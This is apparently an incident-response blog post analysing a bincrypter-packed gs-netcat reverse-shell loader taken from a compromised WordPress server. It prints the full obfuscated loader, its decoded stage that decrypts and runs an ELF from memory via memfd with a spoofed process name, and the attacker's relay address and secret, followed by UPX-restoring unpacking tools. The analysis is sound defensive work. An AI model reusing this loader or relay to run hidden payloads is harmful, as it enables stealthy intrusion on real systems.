Post

Analysis of Bincrypter and gsocket (gs-netcat): Artifacts extracted from a real compromise

Analysis of Bincrypter and gsocket (gs-netcat): Artifacts extracted from a real compromise

Introduction

Recently, in a Linux server compromise, the TA used a gsocket binary as a reverse shell tunnel. The compromise started with a WordPress site affected by CVE-2026-18322 and the attacker dropped a gsocket binary in the site’s root plus persistence in crontab to execute it.

More information about the CVE can be read here:

  • [Coming soon ITRESIT Labs post]
NameHashType
netd532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840eELF

It is the first time that I found in a real environment a binary encrypted with bincrypter and I think that is worth it writing about it as it contains some cool tricks.

The embedded ELF was the statically linked gs-netcat 1.4.42beta5 (built with -stealth) and pointing at a private GSRN relay at 103.253.27.96:443 with secret 4jkuTMcyat7L6eAGJCn93t.

Of course, netd was used by the attacker for stealthiness, I am not maintaining the name for anything special reason.

As part of this investigation, I am releasing two tools, YARA rules and a imhex pattern file.

When you open the file, you will notice that it is three lines of obfuscated code and that it just defines a variable.

It is full of non printable and other UTF-8 characters in order to difficult the analysis.

Actually, almost everything is junk. When going to the end of the second line, which is the line that defines the variable “_” the following is noticed.

And some bytes before the following is noticed.

So, basically the script contains a lot of junk that is basically discarded because the real payload comes after a “;”. The variable is defining junk that does not affect the script execution not raise any error because it is followed by the ;eval(...)... which is the real part where execution happens.

In summary, we have a variable does do nothing but it contains an eval after a ; which executes the bad payload

Character Separator Trick

“I do not read any eval” should all of you be thinking. That is one of the first cool tricks. The script uses statements that resolve to True or False combined with && or || before a valid statement that is never executed deliberately. Thus, dividing the characters.

In other words, it contains if sentences followed by a statement and the operator used, && or ||, is the opposite of the forced True or False so it never executes and basically acts as a null, working as a separator between characters.

In sh, : evaluates to True (0) and thus ! : evaluates to False.

So, using && after ! : will never execute the statement that comes after and using || after : will never execute the statement that comes after, acting as the character separator because it is a do-nothing.

Some examples:

1
2
3
4
5
ev`! :&&^H#`al   →  eval
e`:||^G`ch`! :&&^H#`o   →  echo
pe`:||^G`rl   →  perl
op`:||^G`en`! :&&^H#`s`:||^G`sl   →  openssl
bas`! :&&^H#`e64   →  base64

In summary, after extracting the whole command:

1
_='<3137 bytes of binary junk>';eval "$(echo <blob2>|LANG=C perl -pe "s/[^[:print:]]//g"|openssl base64 -A -d)"

Actual script that extracts the embedded binary

Blob2 is the following base64:

1
dW5zZXQgQkNWIEJDTApQPVEwaDZRbTlhWjNoVVUzZFhNbTlUVXdvPQpTPSdsMDNncTJBeUFtbThySllUJwpDPW85MHlUM3MzaW5GakkzSWZnTWR1RWc9PQpmb3IgeCBpbiBvcGVuc3NsIHBlcmwgZ3VuemlwOyBkbwogICAgY29tbWFuZCAtdiAiJHgiID4vZGV2L251bGwgfHwgeyBlY2hvID4mMiAiRVJST1I6IENvbW1hbmQgbm90IGZvdW5kOiAkeCI7IHJldHVybiAyNTU7IH0KZG9uZQp1bnNldCBmbiBfZXJyCmlmIFsgLW4gIiRaU0hfVkVSU0lPTiIgXTsgdGhlbgogICAgWyAiJFpTSF9FVkFMX0NPTlRFWFQiICE9ICIke1pTSF9FVkFMX0NPTlRFWFQlIjpmaWxlOiIqfSIgXSAmJiBmbj0iJDAiCmVsaWYgWyAtbiAiJEJBU0hfVkVSU0lPTiIgXTsgdGhlbgogICAgKHJldHVybiAwIDI+L2Rldi9udWxsKSAmJiBmbj0iJHtCQVNIX1NPVVJDRVswXX0iCmZpCmZuPSIke0JDX0ZOOi0kZm59IgpYUz0iJHtCQVNIX0VYRUNVVElPTl9TVFJJTkc6LSRaU0hfRVhFQ1VUSU9OX1NUUklOR30iClsgLXogIiRYUyIgXSAmJiB1bnNldCBYUwpbIC16ICIkZm4iIF0gJiYgWyAteiAiJFhTIiBdICYmIFsgISAtZiAiJDAiIF0gJiYgewogICAgZWNobyA+JjIgJ0VSUk9SOiBTaGVsbCBub3Qgc3VwcG9ydGVkLiBUcnkgIkJDX0ZOPUZpbGVOYW1lIHNvdXJjZSBGaWxlTmFtZSInCiAgICBfZXJyPTEKfQpfYmNfZGVjKCkgewogICAgX1A9IiR7UEFTU1dPUkQ6LSRCQ19QQVNTV09SRH0iCiAgICB1bnNldCBfIFBBU1NXT1JEIAogICAgaWYgWyAtbiAiJFAiIF07IHRoZW4KICAgICAgICBpZiBbIC1uICIkQkNWIiBdICYmIFsgLW4gIiRCQ0wiIF07IHRoZW4KICAgICAgICAgICAgX2JjbF9nZW5fcCAiJFAiIHx8IHJldHVybgogICAgICAgIGVsc2UKICAgICAgICAgICAgX1A9IiQoZWNobyAiJFAifG9wZW5zc2wgYmFzZTY0IC1BIC1kKSIKICAgICAgICBmaQogICAgZWxzZQogICAgICAgIFsgLXogIiRfUCIgXSAmJiB7CiAgICAgICAgICAgIGVjaG8gPiYyIC1uICJFbnRlciBwYXNzd29yZDogIgogICAgICAgICAgICByZWFkIC1yIF9QCiAgICAgICAgfQogICAgZmkKICAgIFsgLW4gIiRDIiBdICYmIHsKICAgICAgICBsb2NhbCBzdHIKICAgICAgICBzdHI9IiQoZWNobyAiJEMiIHwgb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1tZCBzaGEyNTYgLW5vc2FsdCAtayAiQy0ke1N9LSR7X1B9IiAtYSAtQSAyPi9kZXYvbnVsbCkiCiAgICAgICAgdW5zZXQgQwogICAgICAgIFsgLXogIiRzdHIiIF0gJiYgewogICAgICAgICAgICBbIC1uICIkQkNMIiBdICYmIGVjaG8gPiYyICJFUlJPUjogRGVjcnlwdGlvbiBmYWlsZWQuIgogICAgICAgICAgICByZXR1cm4gMjU1CiAgICAgICAgfQogICAgICAgIGV2YWwgIiRzdHIiCiAgICAgICAgdW5zZXQgc3RyCiAgICB9CiAgICBbIC1uICIkWFMiIF0gJiYgewogICAgICAgIGV4ZWMgYmFzaCAtYyAiJChwcmludGYgJXMgIiRYUyIgfExBTkc9QyBwZXJsIC1lICc8Pjs8PjtyZWFkKFNURElOLCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9ceDAwL2c7cy9CMi9CL2c7cHJpbnR9J3xvcGVuc3NsIGVuYyAtZCAtYWVzLTI1Ni1jYmMgLW1kIHNoYTI1NiAtbm9zYWx0IC1rICIke1N9LSR7X1B9IiAyPi9kZXYvbnVsbHxMQU5HPUMgcGVybCAtZSAicmVhZChTVERJTixcJF8sICR7UjotMH0pO3ByaW50KDw+KSJ8Z3VuemlwKSIKICAgIH0KICAgIFsgLXogIiRmbiIgXSAmJiBbIC1mICIkMCIgXSAmJiB7CiAgICAgICAgemY9J3JlYWQoU1RESU4sXCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9cXHgwMC9nO3MvQjIvQi9nO3ByaW50fScKICAgICAgICBwcmc9InBlcmwgLWUgJzw+Ozw+OyR6Zic8JyR7MH0nfG9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtbWQgc2hhMjU2IC1ub3NhbHQgLWsgJyR7U30tJHtfUH0nIDI+L2Rldi9udWxsfHBlcmwgLWUgJ3JlYWQoU1RESU4sXFxcJF8sICR7UjotMH0pO3ByaW50KDw+KSd8Z3VuemlwIgogICAgICAgIExBTkc9QyBleGVjIHBlcmwgJy1lJF5GPTI1NTtmb3IoMzE5LDI3OSwzODUsNDMxNCw0MzU0KXsoJGY9c3lzY2FsbCRfLCQiLDApPjAmJmxhc3R9O29wZW4oJG8sIj4mPSIuJGYpO29wZW4oJGksIiciJHByZyInfCIpO3ByaW50JG8oPCRpPik7Y2xvc2UoJGkpfHxleGl0KCQ/LzI1Nik7JEVOVnsiTEFORyJ9PSInIiRMQU5HIiciO2V4ZWN7Ii9wcm9jLyQkL2ZkLyRmIn0iJyIkezA6LXB5dGhvbjN9IiciLEBBUkdWO2V4aXQgMjU1JyAtLSAiJEAiCiAgICB9CiAgICBbIC1mICIke2ZufSIgXSAmJiB7CiAgICAgICAgdW5zZXQgLWYgX2JjbF9nZXQgX2JjbF92ZXJpZnkgX2JjbF92ZXJpZnlfZGVjCiAgICAgICAgdW5zZXQgQkNMIEJDViBfIFAgX2VycgogICAgICAgIGV2YWwgInVuc2V0IF9QIFMgUiBmbjskKExBTkc9QyBwZXJsIC1lICc8Pjs8PjtyZWFkKFNURElOLCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9ceDAwL2c7cy9CMi9CL2c7cHJpbnR9JzwiJHtmbn0ifG9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtbWQgc2hhMjU2IC1ub3NhbHQgLWsgIiR7U30tJHtfUH0iIDI+L2Rldi9udWxsfExBTkc9QyBwZXJsIC1lICJyZWFkKFNURElOLFwkXywgJHtSOi0wfSk7cHJpbnQoPD4pInxndW56aXApIgogICAgICAgIHJldHVybgogICAgfQogICAgWyAteiAiJGZuIiBdICYmIHJldHVybgogICAgZWNobyA+JjIgIkVSUk9SOiBGaWxlIG5vdCBmb3VuZDogJGZuIgogICAgX2Vycj0xCn0KWyAteiAiJF9lcnIiIF0gJiYgX2JjX2RlYyAiJEAiCnVuc2V0IGZuCnVuc2V0IC1mIF9iY19kZWMKaWYgWyAtbiAiJF9lcnIiIF07IHRoZW4KICAgIHVuc2V0IF9lcnIKICAgIGZhbHNlCmVsc2UKICAgIHRydWUKZmkK

It is actually interlapped with random non-printable bytes but at it is pipped to the following perl command seen above all non-printable characters are deleted as defined in the regex, giving this final base64 blob.

perl -pe 's/[^[:print:]]//g'

Which is then pipped into openssl to decode it.

Which gives the first stage.

The loader script is basically divided in three parts.

  • First line contains the sh shebang:
    • #!/bin/sh
  • Second line contains this Stage 0 just explained above.
  • Third line contains the embedded ELF encrypted and gzipped. Explained below.
RegionOffsetContent
Line 10 – 9#!/bin/sh\n
Line 210 – 11958Obfuscated one-liner: _='<blob1>';eval "$(echo <blob2> \| perl \| openssl base64 -d)"
Skip byte11959# (single byte discarded by the decoder)
Payload11960 – EOF1,082,290 bytes of escaped AES ciphertext, no newlines, no NULs

Stage 1

The full script is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
unset BCV BCL
P=Q0h6Qm9aZ3hUU3dXMm9TUwo=
S='l03gq2AyAmm8rJYT'
C=o90yT3s3inFjI3IfgMduEg==
for x in openssl perl gunzip; do
    command -v "$x" >/dev/null || { echo >&2 "ERROR: Command not found: $x"; return 255; }
done
unset fn _err
if [ -n "$ZSH_VERSION" ]; then
    [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
    (return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[ -z "$XS" ] && unset XS
[ -z "$fn" ] && [ -z "$XS" ] && [ ! -f "$0" ] && {
    echo >&2 'ERROR: Shell not supported. Try "BC_FN=FileName source FileName"'
    _err=1
}
_bc_dec() {
    _P="${PASSWORD:-$BC_PASSWORD}"
    unset _ PASSWORD 
    if [ -n "$P" ]; then
        if [ -n "$BCV" ] && [ -n "$BCL" ]; then
            _bcl_gen_p "$P" || return
        else
            _P="$(echo "$P"|openssl base64 -A -d)"
        fi
    else
        [ -z "$_P" ] && {
            echo >&2 -n "Enter password: "
            read -r _P
        }
    fi
    [ -n "$C" ] && {
        local str
        str="$(echo "$C" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"
        unset C
        [ -z "$str" ] && {
            [ -n "$BCL" ] && echo >&2 "ERROR: Decryption failed."
            return 255
        }
        eval "$str"
        unset str
    }
    [ -n "$XS" ] && {
        exec bash -c "$(printf %s "$XS" |LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
    }
    [ -z "$fn" ] && [ -f "$0" ] && {
        zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'
        prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"
        LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"
    }
    [ -f "${fn}" ] && {
        unset -f _bcl_get _bcl_verify _bcl_verify_dec
        unset BCL BCV _ P _err
        eval "unset _P S R fn;$(LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'<"${fn}"|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
        return
    }
    [ -z "$fn" ] && return
    echo >&2 "ERROR: File not found: $fn"
    _err=1
}
[ -z "$_err" ] && _bc_dec "$@"
unset fn
unset -f _bc_dec
if [ -n "$_err" ]; then
    unset _err
    false
else
    true
fi

This is the bincrypter’s standard _bc_dec decryption hook.

At the start of the script the encryption configuration is found.

  • P and S are 16 random alphanumerics from /dev/urandom
  • C is the config blob encrypted with key C-${S}-${_P}
  • R is random padding sized (RANDOM*32768+RANDOM) % ((sz/100) * ${BC_PADDING:-25})

In this sample:

1
2
3
P=Q0h6Qm9aZ3hUU3dXMm9TUwo=      # base64 → CHzBoZgxTSwW2oSS   (embedded password)
S='l03gq2AyAmm8rJYT'            # salt / key prefix
C=o90yT3s3inFjI3IfgMduEg==      # AES blob → "R=12920"

$C is decrypted with key C-${S}-${_P} and eval‘d with results in defining "R=12920" in this case.

The encrypted blob (ELF) that the bincrypter routine is about the decrypt comes after it, so in the initial script it is the third line that above was shown also with non-printable characters because it is encrypted.

Variable fn and xs are used as a branch selector.

The XS branch is the bash -c "$(…)" delivery path:

1
2
3
4
5
6
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[...]

[ -n "$XS" ] && {
        exec bash -c "$(printf %s "$XS" |LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
    }

The ciphertext is appended to the script file, so _bc_dec must read that file back. When the script is executed, $0 is the path and that’s fine. When it’s sourced, $0 is the calling shell (bash, -bash, dash), not the script, so $0 is useless and you need the shell-specific “who sourced me” variable.

1
2
3
4
5
6
if [ -n "$ZSH_VERSION" ]; then
    [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
    (return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"

So fn is empty when executed, set when sourced. That’s the invariant everything else keys off.

1
2
3
4
5
[ -n "$XS" ]              && { exec bash -c "$()"; }            # no file at all
[ -z "$fn" ] && [ -f "$0" ] && { … memfd exec; }               # EXECUTED
[ -f "${fn}" ]            && { eval "unset _P S R fn;$(…<"$fn")"; return; }   # SOURCED
[ -z "$fn" ]              && return
echo >&2 "ERROR: File not found: $fn"; _err=1
SelectorSet whenPayload sourcePayload treated asEnds with
XS non-emptybash -c "$(…)"$BASH_EXECUTION_STRING (in memory)shell code → exec bash -cexec
fn empty, $0 is a filefile executed$0 on diskbinary → memfdexec
fn setfile sourced$fn on diskshell code → evalreturn

In this case that netd was executed on disk the final routine that is executed is this one.

1
2
3
4
5
 [ -z "$fn" ] && [ -f "$0" ] && {
        zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'
        prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"
        LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"
    }

So, the ELF is read from the proper script:

zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'

And then the perl in-line script command that decrypts it is DEFINED (not executed yet).

prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"

In summary, Perl discards two lines and then executes $zf, redirecting ${0} (name the script was invoked with), so basically the loader script content is inputted to Perl. The output is then piped to decrypt and gunzip it.

  • First <>;<> reads two lines of input and discards them. Deleting the shebang and the loader line. Remember the loader script was three lines as seen in Stage 0. Then read(...,1) eats the # separator.

  • De-escaping: the packer encoded BB2, NULB1, LFB3, so the ciphertext is newline-free and NUL-free (which is what lets <> slurp it as one “line” and keeps the file exec-able as a script). Decode order matters: B3/B1 first, B2B last. 1,082,290 → 1,069,776 bytes.

while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}

For example, input:

1
helloB3worldB1fooB2bar

becomes logically:

1
2
hello
world<NUL>fooBbar
  • AES-256-CBC, MD5-free legacy KDF (-md sha256 -nosalt), key material "${S}-${_P}". 1,069,776 → 1,069,762 bytes (14 bytes PKCS#7 padding).

openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "l03gq2AyAmm8rJYT-CHzBoZgxTSwW2oSS"

  • Skip R=12920 bytes of random padding so the 1f 8b gzip magic is not at a fixed offset. 1,069,762 → 1,056,842 bytes; gzip header mtime = 2026-08-16 11:05:14 UTC.

perl -e 'read(STDIN,$_,12920);print(<>)'

Stage 2

The decrypted ELF is executed directly in memory without touching disk through memfd (fileless ELF).

LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"

  • Perl sets FD_CLOEXEC on any descriptor above $^F (default 2). Raising it to 255 guarantees the memfd survives the upcoming execve(). Without this the new image would inherit nothing, with the default 2 STDIN and STDOUT will be available after the execve() but not the newly memfd created.

$^F=255

  • A portable memfd_create(). Perl has no wrapper, so it invokes the raw syscall by number and simply tries each architecture’s number until one returns a valid fd

for(319,279,385,4314,4354){ ($f=syscall $_, $", 0) > 0 && last }

NumberArchitecture
319x86-64
279asm-generic — arm64 / riscv64
385arm (EABI)
4314MIPS-family — does not match any real table (n64 is 5314); harmless, the loop just moves on
4354MIPS o32 (4000 + 354)

Arguments are memfd_create(name, flags):

1
2
- `$"` is Perl's list-separator variable, default `" "`. So, the *memfd* is named a single space, `/proc/<pid>/exe` therefore resolves to `/memfd: (deleted)` rather than anything descriptive.
- flags `0`. Deliberately not `MFD_CLOEXEC`, reinforcing the `$^F` trick.
  • Later it opens File Descriptor just created by memfd

open($o,">&=".$f)

Expression >&=[FILE_DESCRIPTOR] does an fdopen() on the raw descriptor (no dup), so the numeric fd Perl will name in /proc/$$/fd/N is exactly the one from the syscall.

  • > — open for writing.
  • & — refer to an existing file descriptor rather than a filename.
  • = — use that exact descriptor, instead of duplicating it.
  • File descriptor

It is equivalent to use the file descriptor as an argument.

open($o,">&=", $f)

https://perldoc.perl.org/functions/open

1
If you specify '<&=X', where X is a file descriptor number or a filehandle, then Perl will do an equivalent of C's fdopen(3) of that file descriptor (and not call dup(2)); this is more parsimonious of file descriptors.
  • Then, the perl decryption routine defined before is run via /bin/sh -c and reads the plaintext ELF from the pipe.

open($i,"$prg|")

The trailing | means: execute the command stored in $prg and let Perl read its standard output through $i.

  • Then the ELF is written straight into the memfd. It never touches a filesystem path

print $o (<$i>) ( $o is the memfd and $i the result of the script decryption)

  • Finally, the payload is run

exec {"/proc/$$/fd/$f"} "${0:-python3}", @ARGV

Because the outer exec perl replaced the shell, and this exec replaces Perl, no intermediate process survives. The final process tree shows a single process whose /proc/<pid>/exe is a deleted memfd.

The exec is performed with the *block form:

exec { PROGRAM } LIST

The block { PROGRAM } explicitly tells Perl which executable to run, while LIST supplies the argument list passed to that executable, argv.

This differs from the simpler form where Perl normally derives the program to execute from the first element of the list.

exec "/bin/echo", "hello", "world";

This is done to specifically define argv[0] to spoof/masquerade the executable name of the process. In this case, being it python3 if $0 is not defined.

1
2
3
exec {"/proc/$$/fd/$f"}   "${0:-python3}", @ARGV;
#     ^ what actually runs   ^ what argv[0] says it is
											^ Original arguments are forwarded via @ARGV, so the payload sees the same command line

Stage 3

The final stage is the gsocket ELF just executed with itself is UPX packed.

Hash
89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea

From the compromised machine it was extracted using /proc/PID/exe.

cp /proc/PID/exe [PATH]

The first interesting part is that if common upx tools are used to decompress extract the real payload they will fail.

That is because the l_info structure of UPX has been has been stripped out. The magic of UPX is not present.

And also l_lsize, l_version and l_format.

The checksum of course is available.

It is not the only trick, the magic is deleted in others UPX structures.

The magic at the trailing PackHeader is also zeroed.

And, the decompressed ELF contains an invalid ELF signature. The compressed bytes stored that corresponding to the “ELF” magic string in the original binary are zeroed, so the produced binary is not well formatted.

Claude wrote the following one-liner to restore the UPX headers, so it is correctly identified.

1
python3 -c "import struct,sys;f=sys.argv[1];d=bytearray(open(f,'rb').read());L=struct.unpack_from('<Q',d,0x20)[0]+struct.unpack_from('<H',d,0x36)[0]*struct.unpack_from('<H',d,0x38)[0];d[L+4:L+8]=b'UPX!';fs=struct.unpack_from('<I',d,L+16)[0];d[L+40:L+44]=b'\x7fELF';p=d.rfind(struct.pack('<I',fs))-24;d[p:p+4]=b'UPX!';d[L+10]=d[p+4];d[L+11]=d[p+5];struct.pack_into('<H',d,L+8,struct.unpack_from('<Q',d,0x60)[0]-struct.unpack_from('<Q',d,0x18)[0]);open(sys.argv[2],'wb').write(bytes(d[:p+32]))" payload.elf repacked.elf

The following image shows how UPX now goes from not detecting it is UPX-packed to detecting it is.

The cause is the program-header layout (example packing /usr/bin/find):

1
2
3
4
5
STOCK upx (4.x):  LOAD RW @0x0      filesz=0x1000    memsz=0x31f00
                  LOAD R+E @0x32000 filesz=0x15ef1   memsz=0x15ef1

SAMPLE:           LOAD R+E @0x0     filesz=0x108860  memsz=0x108860  align=0x200000
                  LOAD RW  @0x109000 filesz=0        memsz=0x340740

The order and roles are inverted, and block sizing differs too (stock UPX split /usr/bin/find into 5 blocks capped at p_blocksize. This sample has one 2.2 MB block with p_blocksize = the whole file). UPX’s unpacker navigates via those phdrs, so it computes garbage offsets. This isn’t tampering, it’s a different UPX build, consistent with version=13, level=7, filter=0, and with whoever produced it also nulling the magics.

One doubt that remains is which UPX packer was used to get this result. It is possible that a custom UPX packer was used or at least a custom tool used to strip de UPX’s magic bytes.

What is clear is that is THC who does it. A genuine THC beta-channel binary from the self-extracting bundle gsocket/beta/bin/deploy-all.sh in github.com/hackerschoice/binary follows the same case.

Artifactl_info.l_magicUPX! count
THC stable gs-netcat_x86_64-alpine (2023)UPX!4
THC beta gs-netcat_mini-linux-x86_64 (Mar 2026)00 00 00 000
This sample00 00 00 000

So the mechanism lives in THC’s release automation, outside the public repo. The bincrypter’s deploy.sh contains only a comment mentions upx, no fixed-offset patching anywhere in the repo, the public build pipeline (build.sh) ends at upx tools/gs-netcat and the Dockerfile installs stock upx.

The following script can be used to finally reconstruct the original ELF.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#!/usr/bin/env python3
"""
Standalone unpacker for UPX/NRV2E-compressed ELF64 binaries whose UPX! magics
have been stripped (so `upx -d` refuses them).

Recovers the COMPLETE original file, including the regions UPX stores in blocks
placed *after* the loader stub (inter-segment padding, section headers,
.shstrtab, .comment) -- not just the PT_LOAD contents.

    usage: python3 upx_unpack.py <packed.elf> <output.elf>

Only method 8 (M_NRV2E_LE32) with no filter (b_ftid == 0) is implemented; that
is what the samples in question use.  The decompressor was validated against a
known plaintext/ciphertext pair produced by `upx --nrv2e` before use.
"""
import hashlib
import struct
import sys


# ---------------------------------------------------------------- NRV2E_LE32

class _Bits:
    """UCL LE32 bit reader: 32 bits per little-endian dword, MSB first."""

    def __init__(self, src):
        self.src, self.ip, self.bb, self.bc = src, 0, 0, 0

    def getbit(self):
        if self.bc == 0:
            self.bb = int.from_bytes(self.src[self.ip:self.ip + 4], 'little')
            self.ip += 4
            self.bc = 32
        bit = (self.bb >> 31) & 1
        self.bb = (self.bb << 1) & 0xffffffff
        self.bc -= 1
        return bit

    def byte(self):
        b = self.src[self.ip]
        self.ip += 1
        return b


def nrv2e_decompress(src, expected_len=None):
    s = _Bits(src)
    op = bytearray()
    last_m_off = 1
    while True:
        while s.getbit():
            op.append(s.byte())
            if expected_len and len(op) >= expected_len:
                return bytes(op)
        m_off = 1
        while True:
            m_off = m_off * 2 + s.getbit()
            if s.getbit():
                break
            m_off = (m_off - 1) * 2 + s.getbit()
        if m_off == 2:
            m_off = last_m_off
            m_len = s.getbit()
        else:
            m_off = (m_off - 3) * 256 + s.byte()
            if m_off == 0xffffffff:
                break
            m_len = (m_off ^ 0xffffffff) & 1
            m_off >>= 1
            m_off += 1
            last_m_off = m_off
        if m_len:
            m_len = 1 + s.getbit()
        elif s.getbit():
            m_len = 3 + s.getbit()
        else:
            m_len = 1
            while True:
                m_len = m_len * 2 + s.getbit()
                if s.getbit():
                    break
            m_len += 3
        if m_off > 0x500:          # M2_MAX_OFFSET for NRV2E
            m_len += 1
        for _ in range(m_len + 1):
            op.append(op[len(op) - m_off])
        if expected_len and len(op) >= expected_len:
            return bytes(op)
    return bytes(op)


# ------------------------------------------------------------- UPX structures

M_NRV2E_LE32 = 8


def find_l_info(d):
    """l_info sits immediately after the program header table."""
    e_phoff = struct.unpack_from('<Q', d, 0x20)[0]
    e_phentsize = struct.unpack_from('<H', d, 0x36)[0]
    e_phnum = struct.unpack_from('<H', d, 0x38)[0]
    return e_phoff + e_phentsize * e_phnum


def read_b_info(d, off):
    if off + 12 > len(d):
        return None
    sz_unc, sz_cpr, method, ftid, cto8, unused = struct.unpack_from('<IIBBBB', d, off)
    if method != M_NRV2E_LE32 or ftid != 0 or unused != 0:
        return None
    if sz_unc == 0 or sz_cpr == 0 or sz_cpr > sz_unc or sz_unc > 0x8000000:
        return None
    if off + 12 + sz_cpr > len(d):
        return None
    return sz_unc, sz_cpr


def collect_blocks(d, l_info, total_wanted):
    """Walk contiguous blocks, then scan past the loader stub for the rest.

    UPX emits the b_info chain contiguously until the loader stub, then places
    any remaining blocks after it.  Stop as soon as the uncompressed sizes add
    up to p_info.p_filesize.
    """
    blocks, seen = [], 0
    off = l_info + 24                       # skip l_info (12) + p_info (12)
    while seen < total_wanted:
        bi = read_b_info(d, off)
        if bi is None:
            break
        sz_unc, sz_cpr = bi
        blocks.append((off, sz_unc, sz_cpr))
        seen += sz_unc
        off += 12 + sz_cpr

    if seen == total_wanted:
        return blocks

    # The remaining blocks sit after the loader stub, but are still contiguous
    # with each other.  Find the one start offset whose contiguous chain
    # accounts for exactly the missing bytes -- scanning for individual b_info
    # structures produces false positives inside compressed data.
    remaining = total_wanted - seen
    for start in range(off, len(d) - 12):
        chain, total, cur = [], 0, start
        while total < remaining:
            bi = read_b_info(d, cur)
            if bi is None:
                break
            sz_unc, sz_cpr = bi
            chain.append((cur, sz_unc, sz_cpr))
            total += sz_unc
            cur += 12 + sz_cpr
        if total == remaining and chain:
            return blocks + chain

    # Diagnose the most likely cause before giving up.
    probe = struct.unpack_from('<IIBBBB', d, off) if off + 12 <= len(d) else None
    hint = ""
    if probe and probe[2] == M_NRV2E_LE32 and probe[3] != 0:
